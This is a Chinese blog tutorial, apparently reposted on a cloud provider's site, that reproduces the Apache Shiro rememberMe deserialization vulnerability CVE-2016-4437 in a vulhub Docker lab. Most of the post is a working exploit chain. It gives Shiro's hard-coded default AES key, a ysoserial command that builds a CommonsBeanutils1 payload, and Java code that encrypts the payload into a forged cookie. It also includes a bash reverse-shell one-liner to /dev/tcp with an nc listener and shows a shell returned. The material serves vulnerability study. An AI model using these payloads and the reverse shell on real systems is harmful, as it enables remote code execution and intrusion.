溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

如何實(shí)現(xiàn)反序列化命令執(zhí)行CVE-2016-4437復(fù)現(xiàn)

發(fā)布時(shí)間:2021-12-29 18:02:37 來源:億速云 閱讀:196 作者:柒染 欄目:安全技術(shù)

這篇文章給大家介紹如何實(shí)現(xiàn)反序列化命令執(zhí)行CVE-2016-4437復(fù)現(xiàn),內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對(duì)大家能有所幫助。

0x00 簡(jiǎn)介

Apache Shiro是一款開源安全框架,提供身份驗(yàn)證、授權(quán)、密碼學(xué)和會(huì)話管理。Shiro框架直觀、易用,同時(shí)也能提供健壯的安全性。

Apache Shiro 1.2.4及以前版本中,加密的用戶信息序列化后存儲(chǔ)在名為remember-me的Cookie中。攻擊者可以使用Shiro的默認(rèn)密鑰偽造用戶Cookie,觸發(fā)Java反序列化漏洞,進(jìn)而在目標(biāo)機(jī)器上執(zhí)行任意命令。

0x01 啟動(dòng)環(huán)境

cd /vulhub/shiro/cve-2016-4437

docker-compose up -d

# 注意:?jiǎn)?dòng)端口8080,若沖突請(qǐng)修改

0x02 漏洞分析

1 搭建測(cè)試環(huán)境

使用IDEA創(chuàng)建maven項(xiàng)目并導(dǎo)入依賴

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>Shiro</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>

<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
</dependencies>
</project>

shiro組件自然是必須的,junit純屬方便測(cè)試(復(fù)習(xí)一下)

項(xiàng)目結(jié)構(gòu):

如何實(shí)現(xiàn)反序列化命令執(zhí)行CVE-2016-4437復(fù)現(xiàn)

注意:poc.ser的路徑相對(duì)于項(xiàng)目根路徑

如何實(shí)現(xiàn)反序列化命令執(zhí)行CVE-2016-4437復(fù)現(xiàn)

2 漏洞分析

根據(jù)大佬的文章可知問題出在:org.apache.shiro.mgt.AbstractRememberMeManager

打開源碼進(jìn)行分析:

如何實(shí)現(xiàn)反序列化命令執(zhí)行CVE-2016-4437復(fù)現(xiàn)

26行定義了默認(rèn)key,32行構(gòu)造函數(shù)用默認(rèn)的key對(duì)加密密鑰進(jìn)行賦值

如何實(shí)現(xiàn)反序列化命令執(zhí)行CVE-2016-4437復(fù)現(xiàn)

167行使用密鑰進(jìn)行AES解密,也就是默認(rèn)的密鑰

綜上,由于AES默認(rèn)密鑰是固定的,如果開發(fā)者沒有手動(dòng)修改則可以操控反序列化的數(shù)據(jù)進(jìn)而getshell

0x03 漏洞復(fù)現(xiàn)

1 生成字節(jié)碼文件

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

如何實(shí)現(xiàn)反序列化命令執(zhí)行CVE-2016-4437復(fù)現(xiàn)

將字節(jié)碼文件拷貝到項(xiàng)目中

2 編寫代碼進(jìn)行AES加密

import org.apache.shiro.codec.Base64;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.IOException;
import java.nio.file.FileSystems;
import java.nio.file.Files;

import org.junit.Test;
public class ShiroTest {
@Test
public void RCE() throws IOException
{
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("", "", "poc.ser"));

AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

3 替換cookie

如何實(shí)現(xiàn)反序列化命令執(zhí)行CVE-2016-4437復(fù)現(xiàn)

4 進(jìn)入docker鏡像查看效果

如何實(shí)現(xiàn)反序列化命令執(zhí)行CVE-2016-4437復(fù)現(xiàn)

成功創(chuàng)建文件

5 反彈shell

1 制作命令

# 反彈shell的命令,注意:>& 之間不能有空格
bash -i >& /dev/tcp/ip/port 0>& 1

在線轉(zhuǎn)換網(wǎng)址:http://www.jackson-t.ca/runtime-exec-payloads.html

如何實(shí)現(xiàn)反序列化命令執(zhí)行CVE-2016-4437復(fù)現(xiàn)

2 使用ysoserial生成字節(jié)碼并用上面的代碼生成加密的cookie

如何實(shí)現(xiàn)反序列化命令執(zhí)行CVE-2016-4437復(fù)現(xiàn)

3 在攻擊終端中開啟nc監(jiān)聽

# 監(jiān)聽連接
nc -lvp port

如何實(shí)現(xiàn)反序列化命令執(zhí)行CVE-2016-4437復(fù)現(xiàn)

4 修改cookie并發(fā)送

如何實(shí)現(xiàn)反序列化命令執(zhí)行CVE-2016-4437復(fù)現(xiàn)

5 查看監(jiān)聽情況

如何實(shí)現(xiàn)反序列化命令執(zhí)行CVE-2016-4437復(fù)現(xiàn)

NICE,成功返回shell

關(guān)于如何實(shí)現(xiàn)反序列化命令執(zhí)行CVE-2016-4437復(fù)現(xiàn)就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI